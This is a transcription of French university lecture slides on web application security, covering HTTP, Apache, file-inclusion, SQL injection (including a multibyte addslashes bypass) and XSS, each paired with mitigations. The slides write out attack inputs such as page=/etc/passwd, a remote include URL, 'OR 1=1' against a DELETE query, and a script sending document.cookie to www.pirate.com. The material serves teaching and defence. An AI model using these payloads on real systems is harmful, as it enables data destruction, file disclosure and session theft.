La sécurisation d`applications - Direction du Système d`Information
Transcription
La sécurisation d`applications - Direction du Système d`Information
Contexte Les serveurs web Les attaques web La sécurisation d’applications Fabrice Prigent Université Toulouse 1 Sciences Sociales 10 mars 2008 Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les firewalls ne suffisent plus Mais ont-ils jamais été suffisants ? La protection à 100% n’existe pas. De plus certains protocoles doivent absolument passer : Le web (HTTP et HTTPS) Le courrier électronique (SMTP, POP3, IMAP) Les protocoles réseaux (DNS, ICMP, etc.) Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Problème générique des failles Les failles sont dues à l’utilisation imprévue d’une variable pour obtenir un comportement inattendu, mais contrôlé, plus ou moins correctement, par le pirate. Contrairement à ce que montre le cinéma, les intrusions sont dûes à plus de 90% à l’utilisation de failles de sécurité, et non à un problème de mot de passe. Les serveurs web étant souvent les seuls points accessibles, voyons comment cela peut se passer. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web HTTP HTML Apache Fonctionnement d’un serveur web Un serveur web c’est 2 choses Un procotole de communication : le HTTP Hyper Text Tranfert Protocol Actuellement en version 1.1 Un langage de description de page : le HTML Hyper Text Markup Language Actuellement en version 4.0.1 Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web HTTP HTML Apache HTTP Il s’agit d’un protocole connecté, basé sur TCP, qui utilise habituellement le port 80 Il existe une version chiffrée (HTTPS) qui utilise le protocole SSL. Elle tourne sur le port 443. Ce protocole définit la manière de communiquer des pages des ordres donnés par le client (GET, POST, HEAD, PROPFIND, etc.) et ensuite récupère le résultat, précédé d’un état (200, 404, 500 etc.) Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web HTTP HTML Apache HTTP Coupe la connexion, dès que le fichier est transféré (contrairement au ftp par exemple) Chaque nouveau fichier implique une nouvelle connexion Depuis la version 1.1, le serveur peut maintenir la liaison (keepalive) pour une durée déterminée. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web HTTP HTML Apache HTML HTML est un dérivé de SGML Utilise des balise de définition Permet de décrire des pages web statiques. CGI (Common Gateway Interface) permet de créer dynamiquement des pages Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web HTTP HTML Apache HTML : exemple de CGI Voici un exemple en shell d’un programme CGI # !/bin/sh echo ”Content-type : text/html” echo echo ”<HTML>” echo ”<BODY>” echo ”<H1>Titre 1</H1>” echo ”test de cgi” echo ”</BODY>” echo ”</HTML>” Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web HTTP HTML Apache HTML : de nombreux langages Tous les langages peuvent être utilisés pour créer des CGI. Mais certains sont plus adaptés que d’autres : Pour accélérer les traitements (le lancement d’un interpréteur à chaque appel) certains langages sont présents sous forme de modules directement intégrés dans apache : PHP (dédié au web) ASP (uniquement pour Windows) Perl (langage système qui se révèle très efficace) Python Ruby (et particulièrement Ruby on rails, avec ses capacités web 2.0) Fabrice Prigent La sécurisation d’applications Logo Contexte Les serveurs web Les attaques web HTTP HTML Apache Apache : historique Il est dérivé du serveur NCSA, à l’aide de patches d’où son nom ”a patchy server”. Il représente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus efficace la 2.2 : avec une séparation des authentifications et des autorisations. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web HTTP HTML Apache Apache : environnement Du fait de sa popularité, de très nombreux modules ont été développés pour lui : en authentification en sécurité (mod ssl, mod security) en fonctionnalité (mod proxy, mod cband, etc.) Il bénéficie aussi de très nombreux langages en modules PHP est le plus connu mais aussi mod perl, mod python, etc. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS Structure d’un service web Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS 19 points de vulnérabilités Du schéma précédent, on peut trouver 19 points de vulnérabilités : Les logiciels Les serveurs Les scripts Les modules Les OS Les matériels Les communications L’utilisateur Les protocoles Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS Les types de paramètres Variables GET. Elles sont données dans l’URL de demande Variables POST. Fournies par un formulaire. Variables Cookies. Variables conservées par le navigateur sur son disque dur et généralement fournies par le serveur. Variables SERVER (HTTP USER AGENT ou HTTP REFERER) Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS Les variables GET Décrites dans l’URL http ://www.google.com/search ?p=html&hl=fr Ici 2 variables p et hl, avec les valeurs html et fr. Généralement provenant d’une interrogation directe Dans le cas présent, plutôt rare, il s’agit d’envoi par formulaire (method=GET) Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS Les variables POST Remplies par un formulaire Utilisées quand on a un grand volume de données à envoyer Utilisées quand on a un grand nombre de variables Non tracées par les journaux des daemons (hormis modules spécifiques) Traitement particulier des variables Hidden qui sont cachées pour l’utilisateur, mais pas pour le navigateur. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS Les variables cookies Notion de valise de variables stockées sur le client Transmises de manière transparente dans la requête C’est le serveur qui est sensé positionner ces variables pour une durée limitée Un serveur ne peut généralement (sauf faille de sécurité) demander à accéder qu’aux variables : Qu’il a lui-même positionnées Qu’une machine de son domaine a positionnées (et si celle-ci l’a autorise) Qu’une machine d’un domaine de confiance a positionnées (si celle-ci l’a autorisé) Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS Les variables SERVER Ces variables sont hétéroclites. Celles que seul le serveur connait Version du serveur Répertoire de travail Celles qui sont associées à la connexion L’adresse du client REMOTE ADDR L’hôte appelé Le port source Celles qui proviennent du client Le Referer : HTTP REFERER Le USER AGENT L’URL appelée Fabrice Prigent La sécurisation d’applications Logo Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : principe fondamental Ces variables proviennent quasiment toutes du client Il a donc tout pouvoir pour les modifier, effacer Les contrôles Javascript sont exécutés par le client ( s’il le souhaite ! ). Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Quelques exemples Variables sur les noms de fichier (ou les répertoires) Variables dites superglobales Variables d’exécution système Variables dans les requêtes SQL (ou LDAP, etc.) Variables pour du XSS Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Sur les noms de fichiers Exemple d’inclusion. Soit le programme de mise en page suivant <? include (”header.inc”) ; $page=$ GET[’page’] ; include ($page) ; include (”footer.inc”) ; ?> Que l’on utilise de la manière suivante Utilisation http ://192.168.30.72/php/mep.php ?page=toto.txt Fabrice Prigent La sécurisation d’applications Logo Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Sur les noms de fichiers Quelques attaques : Exemples simples d’utilisation malveillantes http ://192.168.30.72/php/mep.php ?page=/etc/passwd http ://192.168.30.72/php/mep.php ?page=http ://cri.univtlse1.fr/creufop/hacker.inc On pourrait de la même manière utiliser les fonctions fopen, require, etc. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV :Solution Enlever les caractères dangereux <? If (eregi(”/”,$page) {die(”Va jouer dans le mixer !”)} include (”header.inc”) ; include ($page) ; include (”footer.inc”) ; ?> On peut aussi utiliser La notion de safe-mode : http ://fr2.php.net/features.safe-mode Empêcher l’utilisateur apache de sortir (avec un firewall en sortie) Fabrice Prigent La sécurisation d’applications Logo Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV :Les variables superglobales Code s’appelant avec un login en paramètre <? if (($login == ”toto”) ||( $login == ”anon”)) {$acces=true ;} if ($acces) {echo ”vous avez accès à la page”;} else {echo ”vous n’avez pas accès à la page”;} ?> Que fait-on pour avoir accès à la page si on ne connaı̂t pas les login toto et anon ? Fabrice Prigent La sécurisation d’applications Logo Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV :Les variables superglobales : solution Il ne faut pas autoriser la création de ces variables, si cela est possible (certaines vieilles applications le nécessitent. Dans le fichier /etc/httpd/conf/httpd.conf register global=off Dans les applications $login=$ $login=$ $login=$ $login=$ get[’login’] ; post[’login’] ; cookie[’login’] ; server[’login’] ; Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL (ou LDAP) Le SQL est un langage d’interrogation de base de données. C’est un véritable langage de programmation, avec ses fonctions, ses variables, ses commentaires. Le principe des appels SQL en WWW, est que le langage (PHP par exemple) crée une chaine de caractères (la commande SQL) qui est ensuite envoyée au SGBD. Le SGBD interprète et exécute le programme envoyé. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL (ou LDAP) Petit programme appelé avec en paramètre id http ://192.168.30.72/php/test.sql ?id=3 Code du programme <? $sql query=”DELETE FROM matable WHERE id=$id”; mysql connect($database) ; mysql query($database,$sql query) ; ?> Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL première attaque Les espaces doivent être remplacés par %20 http ://192.168.30.72/php/test.sql ?id=3 OR 1=1 ce qui nous donne Chaine envoyée au SGBD DELETE FROM matable WHERE id=3 OR 1=1 Le résultat est la destruction de tous les enregistrements. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL première solution La première solution peut consister à modifier le programme en ajoutant des quotes Code du programme $sql query=”DELETE FROM matable WHERE id=’$id’”; Le résultat de la première attaque devient alors Code du programme DELETE FROM matable WHERE id=’3 OR 1=1’ qui est sans danger. Mais pourtant une faille existe encore Fabrice Prigent La sécurisation d’applications Logo Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL deuxième attaque Insérons une quote http ://192.168.30.72/php/test.sql ?id=3’ OR 1=1 ce qui nous donne Chaine envoyée au SGBD DELETE FROM matable WHERE id=’3’ OR 1=1’ Le résultat est encore la destruction de tous les enregistrements. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL deuxième solution La solution va passer par 2 possibilités le magic quotes gpc à on (par défaut depuis la 4.2.0 pour PHP, mais il est désactivé dans PHP5, et disparait en PHP6) la fonction addslashes Code du programme $id=add slashes($id) ; $sql query=”DELETE FROM matable WHERE id=’$id’”; L’attaque précédente donne alors Chaine envoyée au SGBD DELETE FROM matable WHERE id=’3\’ OR 1=1’ Qui ne fait plus rien. Mais ce n’est toujours pas fini. Une faille existe malgré cela. Fabrice Prigent La sécurisation d’applications Logo Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL troisième attaque Le but de magic quotes gpc est à ON. Mais il a des problèmes avec les caractères dits ”multibytes” : c’est à dire les alphabets plus complexes (chinois par exemple) A la place de la quote, plaçons le caractère multibyte ’0xbf27’. Cela ne peut réellement se faire que par un script : Parlons chinois $id=chr(0xbf).chr(0x27).” OR 1=1”; fopen(http ://192.168.30.72/php/test.sql ?id=$id)”; Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL troisième attaque Le PHP reçoit un caractère chinois 0xbf27 (d’ailleurs valide), et le comprend comme tel. Il l’envoie à addslashes (ou à magic quotes gpc, ce qui est identique) Celui-ci ne comprenant pas que c’est un caractère multibytes, croit voir 2 caractères : 0xbf et 0x27 qui est une quote. Il ajoute à 0x27 un antislash (0x5c). La chaine renvoyée à PHP est donc 0xbf5c27. Comme PHP comprend le multibyte, et que 0xbf5c est un caractère valide, il nous reste 0x27 qui est... la quote. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les injections SQL troisième attaque On obtient alors la chaine suivante où ? représente le caractère 0xbf5c : Chaine envoyée au SGBD DELETE FROM matable WHERE id=’3 ?’ OR 1=1’ Le résultat est encore la destruction de tous les enregistrements. Solution : mysql real escape string(). Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Les variables de session Les variables de session permettent de mettre les variables habituellement mises en cookies, uniquement sur le serveur Cela évite de trimballer beaucoup d’information On n’a plus à les contrôler à chaque fois (elles ne sont plus modifiables) Seule reste une variable dans le cookie : celle qui contient le numéro de session. En général, cette variable est équivalente à un identifiant (on ne réauthentifie plus la personne). Pour un pirate, c’est LE cookie à obtenir. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Voler un cookie : Attaque Soit un forum avec une zone de texte quelconque. Si on saisit Salut les potes, le cours est génial, le prof est <B>super</B>. Reviendez.... On obtient donc Salut les potes, le cours est génial, le prof est super. Reviendez.... Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Voler un cookie : Problème Et si on saisit ? <script> while (1) alert(”Vas téter la prise électrique”) ; </script> Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Voler un cookie : Problème Soyons plus méchant : Récupérons le cookie <script> cookie=document.cookie() ; i=new image() ; i.src=”http ://www.pirate.com/ ?id=”+cookie ; </script> Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Voler un cookie : Solution Bloquer la chaine ”<script” dans les messages. Logo Fabrice Prigent La sécurisation d’applications Contexte Les serveurs web Les attaques web Les variables web Mauvaise utilisation de variables Les noms de fichiers Les variables superglobales SQL Injection Les attaques XSS MUV : Voler un cookie : Vraiment la solution ? Comment s’écrit script ? ? ? ? ”<script” ”<javascript” ”<JAVAscript” ”<java script” ”<java script” etc. Logo Fabrice Prigent La sécurisation d’applications